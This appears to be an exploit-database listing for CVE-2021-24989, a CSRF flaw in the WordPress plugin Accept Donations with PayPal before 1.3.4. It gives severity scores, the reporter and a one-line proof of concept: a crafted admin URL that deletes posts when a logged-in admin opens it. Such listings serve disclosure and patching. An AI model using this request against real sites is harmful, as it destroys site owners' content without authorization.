Exploit for Accept Donations with PayPal < 1.3.4 - Arbitrary Post Deletion via CSRF

CVE-2021-24989

wpexploit · 2021-12-09

Description

Accept Donations with PayPal < 1.3.4 - Arbitrary Post Deletio

Entry point

Parameterpage · query param

Pathwp-admin/admin.php?page=wpedon_menu&action=delete&action2=delete&order[]=1

CSRF flaw allowing a logged-in admin to delete arbitrary posts via crafted request

Affected Wpplugin Accept Donations With Paypal versions

Wpplugin Accept Donations With Paypal< 1.3.4

All known vulnerabilities by product

Accept Donations With Paypal

CVSS 6.5 for CVE-2021-24989

6.5

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:UNCHANGED

Confidentiality:NONE

Integrity:HIGH

Availability:NONE

EPSS Score

0.5%higher than 40.8% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2021-12-25 13:59

Last Seen:2022-01-28 07:40

Reporter:Krzysztof Zając

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:82C2EAD1-1D3C-442A-AE68-359A4748447F
https://examle.com/wp-admin/admin.php?page=wpedon_menu&action=delete&action2=delete&order[]=1

Exploit Code

Share

Share on social media: